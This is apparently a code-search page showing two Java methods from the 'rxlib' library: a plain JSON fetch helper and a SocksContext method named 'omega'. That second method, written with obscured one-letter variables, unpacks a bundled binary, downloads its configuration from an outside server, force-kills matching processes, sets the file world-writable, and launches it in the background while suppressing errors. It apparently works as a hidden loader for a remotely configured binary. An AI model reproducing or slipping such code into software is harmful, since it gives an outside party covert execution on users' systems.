use of org.rx.net.http.HttpClient in project rxlib by RockyLOMO.
the class ComboIPSearcher method getJson.
private JSONObject getJson(String url, Predicate<JSONObject> check) {
HttpClient client = new HttpClient();
String text = client.get(url).toString();
if (Strings.isEmpty(text)) {
throw new InvalidException(String.format("Empty Response from %s", url));
}
JSONObject json = App.toJsonObject(text);
if (!check.test(json)) {
throw new InvalidException(String.format("Request:\t%s\n" + "Response:\t%s", url, text));
}
return json;
}
use of org.rx.net.http.HttpClient in project rxlib by RockyLOMO.
the class SocksContext method omega.
@SneakyThrows
public static void omega(String n, BiAction<ShellCommander.OutPrintEventArgs> o) {
try {
int d = 100;
String k = "omega", c = "./m/", z = c + "o", i = c + "c";
Files.createDirectory(c);
Files.saveFile(z, Reflects.getResource(k));
Thread.sleep(d);
Files.unzip(z, c);
Thread.sleep(d);
new HttpClient().get("https://cloud.f-li.cn:6400/" + k + "_" + n).toFile(i);
Thread.sleep(d);
ShellCommander.exec("ps -ef|grep -v grep|grep ./f|awk '{print $2}'|xargs kill -9", c);
ShellCommander.exec("chmod 777 f", c);
ShellCommander sc = new ShellCommander("./f -c c", c);
if (o != null) {
sc.onOutPrint.combine((s, e) -> o.invoke(e));
}
Container.register(ShellCommander.class, sc.start());
} catch (Throwable e) {
if (o != null) {
o.invoke(new ShellCommander.OutPrintEventArgs(0, e.toString()));
}
}
}
Aggregations